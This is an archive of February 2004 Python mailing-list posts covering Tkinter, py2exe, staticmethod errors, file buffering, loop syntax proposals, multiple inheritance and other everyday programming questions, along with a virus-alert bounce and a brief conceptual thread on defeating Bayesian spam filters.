From eric.brunel at N0SP4M.com  Thu Feb 12 08:20:04 2004
From: eric.brunel at N0SP4M.com (Eric Brunel)
Date: Thu, 12 Feb 2004 14:20:04 +0100
Subject: Mouse Cursors on Tkinter
References: <002b01c3f0cc$86954530$447290c8@luz>
	<mailman.1482.1076524840.12720.python-list@python.org>
Message-ID: <c0fu30$fa3$1@news-reader5.wanadoo.fr>

Jeff Epler wrote:
> Here is a small program that works on my system (linux/X11)to change
> the cursor of a Tkinter window:
>     import Tkinter
> 
>     t = Tkinter.Tk()
>     t.configure(cursor=("@/usr/X11R6/include/X11/bitmaps/star",
>         "/usr/X11R6/include/X11/bitmaps/starMask", "white", "black"))
>     t.mainloop()
> 
> As noted in the tk8.3 Tk_GetCursor manpage, this "will not work on
> Windows or Macintosh computers".

The same manpage ( http://www.tcl.tk/man/tcl8.3/TkLib/GetCursor.htm#M9 ) shows a 
form (t.configure(cursor="@/path/to/file.cur")) that works on Windows. You just 
have to define your cursor in a .cur or .ani file; you can do that with Visual 
Studio for example.

On Macintosh's, the form t.configure(cursor="name") works for all cursors 
defined as resources of type crsr or CURS (see the same manpage, a few 
paragraphs above: http://www.tcl.tk/man/tcl8.3/TkLib/GetCursor.htm#M6 )

HTH
-- 
- Eric Brunel <eric dot brunel at pragmadev dot com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From michael at foord.net  Mon Feb 23 04:01:16 2004
From: michael at foord.net (Fuzzyman)
Date: 23 Feb 2004 01:01:16 -0800
Subject: _ssl.pyd in py2exe ???
References: <8089854e.0402210443.1f220525@posting.google.com>
	<isrkg1-q33.ln1@ID-66900.news.dfncis.de>
Message-ID: <8089854e.0402230004.22a970c@posting.google.com>

Peter Strempel <peterstrempel at yahoo.com> wrote in message news:<isrkg1-q33.ln1 at ID-66900.news.dfncis.de>...
> Fuzzyman wrote:
> > large........ but why on earth in an anagram finder is _ssl.pyd (500k)
> > being bundled in with it ???
> 
> 
> You probably have some dependency on socket somewhere, which pullsin the ssl
> module.
> 

It jumbles up words and displays the results in a Tk window...........

Which is why I'm surprised to see an SSL library there...

My imports are :


import string, os.path, sys
from cPickle import dump, load
from copy import copy, deepcopy
from time import clock, strftime
from webbrowser import open as openbrow

try:
    import psyco            # python specialising compiler
    psyco.full()
except:
    pass

from Tkinter import *
from tkFileDialog import asksaveasfilename, askopenfilename
from tkMessageBox import showerror

None of which *should* be dependant on the SSL library...........


Hmmm... odd :-)

Fuzzy


> 
>  Peter


From virus.manager at st.com  Mon Feb  9 10:35:48 2004
From: virus.manager at st.com (virus.manager at st.com)
Date: Mon, 09 Feb 2004 15:35:48 -0000
Subject: Virus Alert
Message-ID: <20040209153548.A5C8AF57F@zeta.dmz-eu.st.com>

The mail message (file: doc.zip) you sent to <julie at giustizia.it> contains a virus. (on zeta)



From http  Wed Feb  4 01:30:13 2004
From: http (Paul Rubin)
Date: 03 Feb 2004 22:30:13 -0800
Subject: different string representation (buffer gap)
References: <ddcff747.0402030909.49343c44@posting.google.com>
Message-ID: <7xr7xbfjbe.fsf@ruckus.brouhaha.com>

manders2k_NOSPAM at yahoo.com (manders2k) writes:
> Anyway, I'm wondering what straightforward ways to leverage /
> implement this representation in Python.  Ideally, it would be great
> if one could use a BufferGap class in all the places you'ld use a
> python string transparently, to use standard regular expressions, for
> example.  Glancing quickly at the regexmodule.c, and its use of
> PyString_Whatever, I'm not certain this is easy to do efficiently
> (must one copy the buffer's contents into a Python-native string
> before one can use something like a regular expression match on the
> buffer's contents?).

You can do some of that with the array module, but Python's regexp 
library doesn't give any way to search backwards for a regexp, so that's
another problem you'll face trying to write an editor in Python.


From __peter__ at web.de  Wed Feb 11 06:33:00 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 11 Feb 2004 12:33:00 +0100
Subject: error: 'staticmethod' object is not callable
References: <mailman.1458.1076494925.12720.python-list@python.org>
Message-ID: <c0d3tc$nsg$03$1@news.t-online.com>

Michal Vitecek wrote:

>  hello everyone,
> 
>  today i've come upon a strange exception, consider the following file
>  test.py:
> 
> --- beginning of test.py ---
> 
> class A(object):
>     def method1(parA):
>         print "in A.method1()"
>     method1 = staticmethod(method1)
> 
>     def method2(parA, parB):
>         print "in A.method2()"
>     method1 = staticmethod(method1)
>     # see (*)
>     
> A.method1("some value")
> 
> --- end of test.py ---
> 
>  when test.py is run, the following error is printed:
> 
> $ python test.py
> Traceback (most recent call last):
>   File "test.py", line 10, in ?
>     A.method1("some value")
> TypeError: 'staticmethod' object is not callable
> $
> 
>  isn't this a bug somewhere in python? this was tested on 2.2.3.
> 
>  (*) this happened accidentaly by copy & paste error

You are wrapping method2() twice:

class A(object):
    def method(parA):
        print "in A.method()"
    method = staticmethod(staticmethod(method))

A.method("first")

Why would you expect this to work?

Peter



From jcarlson at nospam.uci.edu  Sun Feb  8 22:42:24 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 08 Feb 2004 19:42:24 -0800
Subject: JPG Image Load,Resize,Save with 100% Python?
In-Reply-To: <6ee58e07.0402081805.4cc5df7b@posting.google.com>
References: <c05dj3$q37$04$1@news.t-online.com>
	<6ee58e07.0402081805.4cc5df7b@posting.google.com>
Message-ID: <c06vne$ilr$1@news.service.uci.edu>

> There is nothing like this. 
> 
> Because this is a task that can't be done in Python well. 
> You must expect it to be around 140 times (thats 14000%) slower then a
> C library thats why nobody wants to do it.

140 seems pretty extreme.  Most tests I've run put numeric calculations 
at around 10-20 times slower, not 140.

A better answer as to why there isn't a pure python module is because 
there already exists numerous C JPEG libraries, which are much easier to 
wrap with SWIG, than to rewrite completely in Python.

  - Josiah


From peter at engcorp.com  Mon Feb 23 09:09:16 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 23 Feb 2004 09:09:16 -0500
Subject: Portable apps in python
References: <aq1_b.9700$xm4.599169@phobos.telenet-ops.be>
	<mailman.166.1077468256.27104.python-list@python.org>
	<e07b8e76d66e37dd0aa29c2ee36afb51@localhost.talkaboutprogramming.com>
Message-ID: <403A098C.15AA8471@engcorp.com>

ciw42 wrote:
> 
> Recently wrote a full point-of-sale (till) application in Python/wxPython [snip]

Cool!  Sounds like a good candidate for http://pythonology.org/success .

-Peter


From bignose-hates-spam at and-benfinney-does-too.id.au  Mon Feb 23 22:21:38 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 24 Feb 2004 14:11:38 +1050
Subject: wxWindows changes name
Message-ID: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake>

Howdy all,

Just when we thought things were looking up on the whole "Windows as a
trademark" for something that Microsoft didn't originate in the first
place.

The wxWindows project have announced that they are changing their name
to wxWidgets, specifically to avoid problems with the Microsoft product
name.

    <http://www.wxwindows.org/name.htm>

Fortunately, the name wxPython still fits with the new name for the
underlying toolkit.

-- 
 \     "[The RIAA] have the patience to keep stomping. They're playing |
  `\      whack-a-mole with an infinite supply of tokens."  -- kennon, |
_o__)                                             http://kuro5hin.org/ |
Ben Finney <http://bignose.squidly.org/>


From http  Tue Feb 17 16:22:54 2004
From: http (Paul Rubin)
Date: 17 Feb 2004 13:22:54 -0800
Subject: PEP218: Representing the empty set
References: <Eakvp5MXQnMAFwqT@at-andros.demon.co.uk>
	<403281B3.7E370347@engcorp.com>
Message-ID: <7xlln1pfip.fsf@ruckus.brouhaha.com>

Peter Hansen <peter at engcorp.com> writes:
> Maybe it's nothing more than this distinction:  dict() is a call which
> *returns* an empty dictionary.  {} *is* an empty dictionary.

I don't understand in what ways these are really distinct.

    a = []
    for i in range(2):
      a.append({})
    print (a[0] is a[1])

prints 0, if that helps.  Clearly "a = {}" and "a = dict()" both run
some code that creates a new empty dictionary.  It's not the case that
"a = {}" sets a to an empty dict created at compile time or anything
like that.


From gerrit at nl.linux.org  Fri Feb  6 05:49:40 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Fri, 6 Feb 2004 11:49:40 +0100
Subject: Custom operator
In-Reply-To: <6.0.1.1.0.20040206074906.02624b30@www.mails.lu>
References: <2066c50.0402051336.1e8e7ee4@posting.google.com>
	<20040205220748.GA8055@nl.linux.org>
	<6.0.1.1.0.20040206074906.02624b30@www.mails.lu>
Message-ID: <20040206104940.GA3905@nl.linux.org>

mathias.foehr at mails.lu wrote:
> I want to define new operators because mathematicians use special operators 
> (
>         eg circle plus (+), circle times (*), arrows ->
> ) since centuries. It increases readability in this area and people have 
> got used to it.

Hm, but all syntax would have to be ASCII anyway. A + can be overridden
with __add__, a * with __mul__, and maybe there would even be an ugly
hack to override -> using __sub__ and __gt__, although I don't think so.

But adding new characters is certainly not possible.

Gerrit.

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From darby.google at spamex.com  Wed Feb  4 18:14:23 2004
From: darby.google at spamex.com (Darby Wong)
Date: 4 Feb 2004 15:14:23 -0800
Subject: Question about the built-in file() and buffer size...
Message-ID: <eeaeb3f4.0402041514.705e4d44@posting.google.com>

The documentation for file() says that the buffer size will be:

system default if bufsize == -1, 
unbuffered if bufsize == 0, 
line buffered if bufsize == 1, 
or else it is just bufsize.

I can't get this last one to work... if I write something like:

>>> test = file("testfile","w",1024)
>>> test.write("a"*1025);

the file "testfile" is not written to... it only gets written to when
the buffer size reaches 4096 bytes, which is the system default from
what I can ascertain.  It doesn't work if I set bufsize to be larger
than 4096 either, it will get written when it reaches 4096 bytes no
matter what.

Am I doing something wrong?  Is this option not implemented all the
way (the -1,0,1 seem to work fine... except that 1 is also 4096 byte
buffered, in addition to being line buffered)?

Thanks :)
Darby


From bart_nessux at hotmail.com  Sat Feb 28 12:46:13 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Sat, 28 Feb 2004 12:46:13 -0500
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com> <c1obji$8m9$1@solaris.cc.vt.edu>
	<40408c29$0$2435$626a14ce@news.free.fr>
Message-ID: <c1qk0j$9o5$1@solaris.cc.vt.edu>

> Bart, could you please back your (strong) assertions with at least one
> argument ?
> 
> AFAIK, there is a whole lot of python tools for web developpement

The OP was comparing Python to PHP, not ZOPE to PHP. PHP by itself is a
natural Web programming language, Python is not. Google for dynamic DB
driven programming tools... how may PHP returns vs Python returns are
there?

> The only points I see in favor of PHP are :
> - it's a de facto standard, widely used, widely available, and well
> established

That's exactly right. That's my point. I meant nothing more.


From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Tue Feb  3 17:56:10 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Tue, 03 Feb 2004 23:56:10 +0100
Subject: SWIG related: Error after installing m2crypto undefined symbol:
 EVP_rc5_32_12_16_ofb
In-Reply-To: <3222fe00.0402031441.6dc93896@posting.google.com>
References: <3222fe00.0402031441.6dc93896@posting.google.com>
Message-ID: <4020270a$0$316$e4fe514c@news.xs4all.nl>

Sean wrote:

> System is Redhat 9.0, Python 2.2.3, Zope 2.6.2
> 
> built OpenSSL from source:

[...]

> ImportError: /usr/lib/python2.2/site-packages/M2Crypto/__m2crypto.so: undefined
> symbol: EVP_rc5_32_12_16_ofb
> 
> Theoretically I have the correct (or later) versions, so what should I check next?

The FAQ:  http://sandbox.rulemaker.net/ngps/m2/faq.html

--Irmen


From darkbard at email.it  Fri Feb 20 13:05:56 2004
From: darkbard at email.it (Gabriele Farina)
Date: Fri, 20 Feb 2004 18:05:56 GMT
Subject: wxPython: changeing dinamically widgets disposition
Message-ID: <80sZb.263757$VW.10534253@news3.tin.it>

Hi guys, I have to implement a wizard that works like the Mozilla 
Firefox preferences screen (I need some buttons on the left and I have 
to change right content based on the button pressed). How can I manage 
this? I have to create N panels that contains my widgets and then 
displaing them based on the button pressed? I tried somethig like that, 
but it seems that the widgets inside panles cannot be used (they seem 
like disabled).
Some one can give me some help or post me a very small pice of code to 
understand how does what I want works?

bye


From google at jgc.org  Thu Feb  5 17:16:00 2004
From: google at jgc.org (John Graham-Cumming)
Date: 5 Feb 2004 14:16:00 -0800
Subject: spam classification breaker
References: <zkNtOLAjhgIAFweW@jessikat.fsnet.co.uk>	<LNBBLJKPBEHFEDALKOLCMEEGIMAB.tim.one@comcast.net>
	<mailman.1251.1076002061.12720.python-list@python.org>
Message-ID: <abfeacb5.0402051416.3ae578f3@posting.google.com>

Skip Montanaro <skip at pobox.com> wrote in message news:<mailman.1251.1076002061.12720.python-list at python.org>...
> Mr. Graham-Cumming could have avoided the overhead of sending himself 10,000
> mails by simply selecting words from his archived public presence on the
> net: web pages, Usenet posts or archived mailing list posts associated with
> his email address.  I suspect his genetic algorithm would have been all but
> unnecessary.  (Google for "John Graham-Cumming" for example.)
> 
> This doesn't have to be a tedious process either.  In the course of normal
> scumbag email harvesting, all the crawler has to do is select a few
> non-trivial words from the harvested page and associate them with the email
> address(es) on that page.  After seeing the same email address a few times
> they would have a decent collection of hammy words for use in the "random
> words" block of later spam.

Yes, and I've tested this and its possible to find hammy words this
way too, although it wasn't as effective as the technique I pointed
out, nevertheless it is practical and in my experiments I looked at
the uncommon words found in the locus of my email address and around
40% were pure ham!
 
Another way would be to spider the web page associated with the domain
in the email address. e.g. to attack my address spider www.jgc.org.

All of this indicates that it should be possible to attack Bayesian
filters with a variety of techniques that rely on the fact that they
are naive (i.e. they'll accept a hammy word no matter where it
appears).

John.


From aldo123 at onet.pl  Thu Feb  5 10:38:19 2004
From: aldo123 at onet.pl (mic)
Date: Thu, 5 Feb 2004 16:38:19 +0100
Subject: COM freethreaded mode bug?
References: <bvtkuc$2k6g$1@news.atman.pl>
Message-ID: <bvto24$2shd$1@news.atman.pl>

I enclose simple example of that error:

import sys
sys.coinit_flags=0  #if this one is commented out everything works fine
from win32com.client import Dispatch
ie = Dispatch('InternetExplorer.Application')
ie.Navigate('http://www.creatix.de/support/frames.html')
while ie.Busy == True:
    pass
print ie.Document.all.length
print ie.Document.images.length
print ie.Document.frames.length #this is the main source of evil :)




From __peter__ at web.de  Wed Feb 25 05:25:47 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 25 Feb 2004 11:25:47 +0100
Subject: Problem with optparser or In
References: <c1hq42$78h$07$1@news.t-online.com>
Message-ID: <c1ht7b$m5m$00$1@news.t-online.com>

Florian Lindner wrote:

> Hi,
> I'm not sure where the problems lies...
> I'm using optparse and I've a option defined:
> 
>  parser.add_option("-t", "--type", action="callback",
> callback=option_callback, type="string")
> 
> def option_callback(option, opt, value, parser, *args, **kwargs):

Change to 
      if (str(option) == "-t/--type") and (value in ("mailbox", "ftp")):
>     if (str(option) == "-t/--type") and (opt in ("mailbox", "ftp")):
>         print "Error!"
>     else:
>         parser.values.type = opt
> 
> This should print error if the commandline is "--type=ftp" or
> "--type=mailbox" (same for the short args).
> But it never gets till Error... Although opt contains "mailbox" or "ftp".
> What's wrong there?

In such cases the poor man's debugger aka print statement is your friend.

print opt 

would reveal that opt contains the actual option and value - surprise,
surprise -the value. 


Peter



From mesteve_b at hotmail.com  Thu Feb 26 08:03:00 2004
From: mesteve_b at hotmail.com (python newbie)
Date: Thu, 26 Feb 2004 13:03:00 GMT
Subject: Catching exception information from ExpatError
Message-ID: <88m%b.30631$Da7.12393@newssvr25.news.prodigy.com>

Hey
Straightforward question:
I'm opening an xml file with minidom.

When I have a mismatch in the XML file, I simply want my python script to
not only stop gracefully, but also to call up UltraEdit with that xml file,
and  highlighting the offending line  (keep in mind UEdit can take command
line argument with the row and column)

When I let the exception be caught by default, I notice that I get:
     xml.parsers.expat.ExpatError: mismatched tag: line 19, column 7

But when I catch the error  with:     except exp.ExpatError:
 and then get the information from sys.exc_info(), it returns a tuple that
doesn't help:

class xml.parsers.expat.ExpatError at 0x00F7FF90>,
<xml.parsers.expat.ExpatError instance at 0x00FFD800>, <traceback object at
0x00FFD8C8>)


I want to somehow get  the more useful: "line 19, column 7" and parse that
and call ultraedit with the 19 and the 7.

Can you suggest something, is it obvious?
 thanks
Steve








From roy at panix.com  Sun Feb  1 14:25:31 2004
From: roy at panix.com (Roy Smith)
Date: Sun, 01 Feb 2004 14:25:31 -0500
Subject: advice on programming style: is multiple inheritance bad?
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
Message-ID: <roy-4871BB.14253101022004@reader2.panix.com>

In article <bvjhkv$ss4$1 at news.rz.uni-karlsruhe.de>,
 Uwe Mayer <merkosh at hadiko.de> wrote:

> Hi,
> 
> I got a class A2 that needs to inherit from class A1. 
> A2, as well as some other classes implement a same functionality and in
> order to prevent code duplication I'd like to factorize that (potentially)
> duplicate code into a class SuperA from which then A2 and all other classes
> could inherrit.
> However, this would cause A2 to have two super classes A1 and SuperA - which
> is possible of course in Python.
> 
> My question is: is that bad programming style?
> From C++ and Java we "learn" that you shouldn't do that.

C++ allows multiple inheritence, Java does not.

Whether multiple inheritence is bad or not is a matter of opinion.  It 
certainly can lead to complexities if the namespaces of the superclasses 
overlap.  To be honest, I don't see how Java's use of interfaces really 
solves that problem; it just moves it somepwhere else.

Some people advocate that if you are going to use multiple inheritence, 
you should think of it as one "main" superclass, and the rest of them 
"mix-in" classes which add functions (think Decorator pattern).

On the other hand, sometimes you've got two orthogonal concepts that it 
makes sense to represent as two inheritence trees using multiple 
inheritence.  For example, if you were classifying animals, you might 
have 5 subclasses of vertibrate: fish, amphibian, bird, reptile, and 
mammal.  But, you might also want to have classes to represent modes of 
locomotion: swimmer, walker, and flyer.  This might lead to such classes 
as:

class whale (mammal, swimmer)
class penguin (bird, walker, swimmer)
class bat (mammal, walker, flyer)
class flyingFish (fish, swimmer, flyer)
class flounder (fish, swimmer)
class africanSparrow (bird, walker, flyer).

whale.greatestDepth() makes sense, but bat.greatestDepth() does not. 
Likewise, africanSparrow.unladenAirspeed(), but not 
penguin.unladenAirspeed().

Is that bad programming style?  If it turns out to be the simpliest way 
to accurately represent the objects you're working with in the problem 
domain you're trying to solve, I don't see why it should be considered 
bad style.

This is an area where religious beliefs come into play.  I'm sure you 
will find people who would recoil violently at the idea.  Most of them 
probaby grew up on Java :-)


From vincent_delft at yahoo.com  Thu Feb 26 00:37:23 2004
From: vincent_delft at yahoo.com (vincent_delft at yahoo.com)
Date: Thu, 26 Feb 2004 06:37:23 +0100
Subject: print in multithreaded environement ???
References: <5c184570.0402250756.1715ee17@posting.google.com>
	<c1j7an$o67$1@news.service.uci.edu>
Message-ID: <403d857d$0$13852$ba620e4c@news.skynet.be>

Thanks Josiah for the answer. 

but in my case each thread will have his own buffer and stdout will be
redirect to it.

Following your example, I think that what I'm talking about should be like
this :
import time
from threading import Thread
import sys
def funct(i):
     fid=open('/tmp/tt%s.tt' % i,'w')
     sys.stdout=fid
     for j in xrange(50):
        print i,j,
        time.sleep(0)
     fid.close()
for i in xrange(50): Thread(target=funct, args=(i,)).start()

If I run it, I've the result I expected: counter from 0 to 49 in each file.
Thus sys.stdout is not a shared object between each thread. It's his
redirection to the console which is common. 
Thus, problems occurs when we link it to a shared output (like a console or
single output file).

Am I correct ?




Josiah Carlson wrote:

>> Does sys.stdout is a seperate instance for each thread ?
>> Does sys.stdout is shared between all of them ?
> 
> sys.stdout, sys.stdin and sys.stderr are all shared.
> 
> 
>> Does any one has experience with that ?
> 
> Yes.  As soon as a thread uses up its timeslice, it is paused.  Sending
> a lot of information to sys.stdout, or doing any non-trivial computation
> is a good way of using up a timeslice...as is sleeping for an
> arbitrarily small amount of time, even 0.
> 
> Run the following code to see how it behaves.
> 
> import time
> from threading import Thread
> def funct(i):
>      for j in xrange(50):
>              print i,
>              time.sleep(0)
> 
> for i in xrange(50): Thread(target=funct, args=(i,)).start()
> 
> 
>   - Josiah



From marco at bubke.de  Tue Feb 24 16:28:32 2004
From: marco at bubke.de (Marco Bubke)
Date: Tue, 24 Feb 2004 22:28:32 +0100
Subject: NA_updateDataPtr segmentation fault bug?
Message-ID: <c1gfm1$789$1@graf.cs.uni-magdeburg.de>

Hi

I have a little function in pyrex:

cdef NumArray array_to_float(NumArray array):
  # maybe here is memoty leak!
  cdef NumArray flat_array
  cdef NumArray new_array
  print 'mark 1'
  new_array = array.astype('Float32')
  print new_array
  print 'mark 2'
  NA_updateDataPtr(new_array)
  print 'mark 3'   
  NA_updateDataPtr(new_array)
  print 'mark 4'  
  flat_array = NA_InputArray(new_array, tFloat32, NUM_C_ARRAY)
  print 'mark 5'  
  return flat_array

After the second NA_updateDataPtr I get a segmentation fault> Otherwise I
get it with the NA_InputArray. It goes down to getReadBufferDataPtr and
than to 
rval = buff2->ob_type->tp_as_buffer->bf_getreadbuffer(buff2, 0, buff);

I believe bf_getreadbuffer is memory_getbuf but I'm not sure. I don't the
bug but its happen. 

Can somebody help me?

thanks and regards

Marco


From __peter__ at web.de  Fri Feb 27 16:31:24 2004
From: __peter__ at web.de (Peter Otten)
Date: Fri, 27 Feb 2004 22:31:24 +0100
Subject: Problem with mixing doctest with gettext _()
References: <Ysz%b.20076$253.1212052@news20.bellglobal.com>	<mailman.191.1077856934.8594.python-list@python.org>	<FZG%b.20178$253.1255290@news20.bellglobal.com>
	<mailman.199.1077893785.8594.python-list@python.org>
	<uZJ%b.23270$ee3.513937@news20.bellglobal.com>
	<c1ns58$kti$03$1@news.t-online.com>
	<s7L%b.18214$Mo4.612706@news20.bellglobal.com>
	<MvL%b.20343$253.1307828@news20.bellglobal.com>
	<c1o2m9$orh$00$1@news.t-online.com>
	<t3O%b.18482$Mo4.625943@news20.bellglobal.com>
Message-ID: <c1ocvc$fkq$07$1@news.t-online.com>

Pierre Rouleau wrote:

> Peter Otten wrote:
>> Pierre Rouleau wrote:
>> 
>> 
>>>It worked, BUT only for a simple function, it fails if I add a another
>>>simple function:
>> 
>> 
>> Haven't read your post completely, but judging from the error message,
>> it's just a minor glitch in mydisplayhook(). Try the following instead:
>> 
>> 
>> 
>>>>>def mydisplayhook(a):
>> 
>> ...     if a is not None:
>> ...             sys.stdout.write("%r\n" % (a,))
>> ...
>> 
>> That should be able to cope with tuples as commandline results.
>> 
>> Peter
> 
> 
> You're right!  It does work. I must admit, that I don't see why though.
>   (a,) makes a tuple out of the `a` argument.  Does the %r conversion
> require a tuple?

The formatting operator behaves differently depending on whether the
righthand argument is a tuple or something else. 

formatstr % tuple

ensures that there is a corresponding format expression - e.g. "%s" or "%d"
- for every item in the tuple, whereas

formatstr % nontuple 

expects exactly one format expression. Therefore

"%r\n" % a

raises an exception when a is a tuple with more or less than one item and
wrongly prints the item's representation instead of the tuple's for
one-tuples.
Wrapping it like so (a,) fixes the problem because now we have always a
tuple with one item - where this item is sometimes a tuple.

An alternative approach would be to ensure that the righthand side is always
a nontuple:

"%s\n" % repr(a)

Peter





From __peter__ at web.de  Sat Feb 21 08:19:00 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 21 Feb 2004 14:19:00 +0100
Subject: Tkinter: Clipping a canvas text item
Message-ID: <c17ls5$hmr$04$1@news.t-online.com>

Is there a way to limit both width and height of a canvas text item?
My current workaround seems clumsy:

import Tkinter as tk
root = tk.Tk()
canvas = tk.Canvas(root, width=400, height=200, bg="white")
canvas.pack()

# simulate a clipped text item - never transparent :-(
s = "The long and winding road.."
lbl = tk.Label(root, text=s, anchor=tk.W, bg=canvas["bg"])
canvas.create_window(50, 80, width=100, height=20,
    window=lbl,
    anchor=tk.NW)

root.mainloop()

Thanks,
Peter


From feb04.20.netman at spamgourmet.com  Sun Feb 29 18:41:44 2004
From: feb04.20.netman at spamgourmet.com (Chris)
Date: Sun, 29 Feb 2004 23:41:44 GMT
Subject: How to use __getattribute__ to access a class attribute?
References: <40425d1b$0$41761$5fc3050@dreader2.news.tiscali.nl>
Message-ID: <YMu0c.11436$qX5.7779@nwrdny03.gnilink.net>

Perhaps it might be easier if you made your own static method object:

>>> class MyStaticMethod(object):
...     def __call__(self):
...         print "static method a"
...      def __get__(self, cls, inst):
...         return self.__call__
...
>>> class C(object):
...     a = MyStaticMethod()
>>> C.a
<bound method MyStaticMethod.__call__ of <__main__.MyStaticMethod object at
0x00E57390>>
>>> C.a()
static method a
>>> C.__getattribute__(C,'a')
<__main__.MyStaticMethod object at 0x00E57390>
>>> C.__getattribute__(C,'a')()
static method a
>>> c = C()
>>> c.a()
static method a
>>> C.__getattribute__(c,'a')
<bound method MyStaticMethod.__call__ of <__main__.MyStaticMethod object at
0x00E57390>>
>>> C.__getattribute__(c,'a')()
static method a

As far as your question goes, __getattribute__ is following the "... should
return the (computed) attribute value" rule for retrieving the static method
object... unfortunatly the calculated value in this case is a reference to
the static method object rather then the __get__ method bound to the static
method object.

HTH

Chris

"Ruud de Jong" <ruud.de.jong at consunet.nl> wrote in message
news:40425d1b$0$41761$5fc3050 at dreader2.news.tiscali.nl...
> I have the situation where I need to construct the name
> of a static method, and then retrieve the corresponding
> function from a class object.
>
> I thought I could just use __getattribute__ for this purpose.
> This works fine if I already have an instantiation of the class,
> but not when I try this on the class object directly.
>
> A bare bones example:
>
>  >>> class C(object):
> def a():
> print "static method a"
> a = staticmethod(a)
>
> It works for a instantiation of class C:
>
>  >>> x = C()
>  >>> x.a
> <function a at 0x00A981B0>
>  >>> x.__getattribute__('a')
> <function a at 0x00A981B0>
>  >>> x.__getattribute__('a')()
> static method a
>
> But for the class object it works differently:
>
>  >>> C.a
> <function a at 0x00A981B0>
>  >>> C.__getattribute__(C,'a')
> <staticmethod object at 0x00AC6A10>
>  >>> C.a()
> static method a
>  >>> C.__getattribute__(C,'a')()
>
> Traceback (most recent call last):
>    File "<pyshell#219>", line 1, in -toplevel-
>      C.__getattribute__(C,'a')()
> TypeError: 'staticmethod' object is not callable
>
> After some experimentation and documentation searching,
> I found that to get at the actual function, the __get__
> method for the staticmethod descriptor must be called:
>
>  >>> C.__getattribute__(C,'a').__get__(None, C)
> <function a at 0x00A981B0>
>  >>> C.__getattribute__(C,'a').__get__(None, C)()
> static method a
>
> If I use an class instance as the first argument
> it works OK. But I ran into this problem when I tried
> to use __getattribute__ in the __new__ function of a class
> -- there is no class instance yet at that point,
> and calling C() there leads to infinite recursion.
>
> Another variant that worked is to call __getattribute__
> on the metaclass:
>
>  >>> type(C).__getattribute__(C,'a')
> <function a at 0x00A981B0>
>  >>> type(C).__getattribute__(C,'a')()
> static method a
>
> But according to section 3.3.2.1 of the Language Reference
> (More attribute access for new-style classes),
> __getattribute__ "... should return the (computed) attribute value".
> This could be interpreted to say that __getattribute__ should
> return the function, not the staticmethod object.
>
> Is there a reason for this difference in behavior?
>




From http  Wed Feb 18 01:49:36 2004
From: http (Paul Rubin)
Date: 17 Feb 2004 22:49:36 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
Message-ID: <7xwu6khofz.fsf@ruckus.brouhaha.com>

Erik Max Francis <max at alcyone.com> writes:
> 	do:
> 	    line = inputFile.readline()
> 	while line:
> 	    ...
> 	    line = inputFile.readline()

So it's yet another workaround for Python's lack of assignment
expressions.  I like

    while (line := inputFile.readline()):
        ...

a lot better.


From jcarlson at nospam.uci.edu  Thu Feb 19 21:01:49 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 19 Feb 2004 18:01:49 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
In-Reply-To: <7xllmzpmiq.fsf@ruckus.brouhaha.com>
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
	<cfKYb.44192$hR.1014416@bgtnsc05-news.ops.worldnet.att.net>
	<mailman.29.1077136563.27104.python-list@python.org>
	<7x7jyk2hu9.fsf@ruckus.brouhaha.com>
	<slrnc386fn.2u8.joe@gate.notcharles.ca>
	<7xd68bzs79.fsf@ruckus.brouhaha.com>
	<c11lkg$qni$1@news.service.uci.edu>
	<7xllmzpmiq.fsf@ruckus.brouhaha.com>
Message-ID: <c13pv6$enh$1@news.service.uci.edu>

>>Sure, there is a difference between '==' becoming '=', and '=='
>>becoming ':=', but the difference is 1 inch and a shift key on my
>>keyboard. 
> 
> Oh come on, you're grasping at straws.  What about the difference
> between '>' and '<'?  Those are even closer together than ':' and '='.
> Do you want to get rid of those operations too?  The '=' vs '==' thing
> may actually confuse some people but it's hard to mistake := for
> anything other than an assignment.

Who said anything about confusing them?  I merely stated that it would 
be relatively easy to mistype.  If what you are proposing is used, and 
people actually try converting their old-style-while to new-style-while, 
it would be easy to forget to insert the colon.  When writing new loops, 
it would also be relatively easy to slip and insert a := when intending 
==.  Looking at my keyboard, := rather than >= would be even more likely 
(or even the reverse), because one already has the shift-key down, and 
the keys are adjacent to one another.

You can say that I am grasping at straws, but ignoring mistyping as a 
source for bugs, is foolish on your part.


>>I've made larger errors when typing than just an inch and a
>>shift-key.  I believe it would cause more bugs, reduce readability,
>>and attempts to fix a problem that doesn't really exist.
> 
> That's sheer speculation on your part.  You've cited the existence of
> assignment expression errors causing 'more than one bug' in the
> hundreds of millions of C code written over the past three decades.

I didn't offer more because I've never used the syntax in my C/C++ code, 
nor have I waded through millions of lines of C.  I also wouldn't want 
to go through the potentially thousands of lines where it is used.  That 
would be a waste of time.


> That's not persuasive of anything, given how many other bugs there are
> of just about every other sort.

A better statement would have been, "That says nothing about the 
proportion of bugs in such assignments, as compared with other 
syntactical bugs."  Which would be correct.  But as I just said, I 
haven't waded through millions of lines of C and categorized the types 
